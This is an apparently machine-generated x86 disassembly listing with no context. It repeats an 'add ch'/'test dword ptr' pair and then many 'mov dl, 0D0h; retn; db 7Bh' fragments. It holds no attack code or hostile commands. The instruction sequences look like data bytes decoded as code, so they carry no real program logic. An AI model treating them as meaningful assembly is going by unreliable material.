add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi-50FD7609h]
test dword ptr [ecx-760850FEh], 89F7AF02h
add ch, [edi+7BC389F7h]
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
mov dl, 0D0h
retn
; ---------------------------------------------------------------------------
db 7Bh
; ---------------------------------------------------------------------------
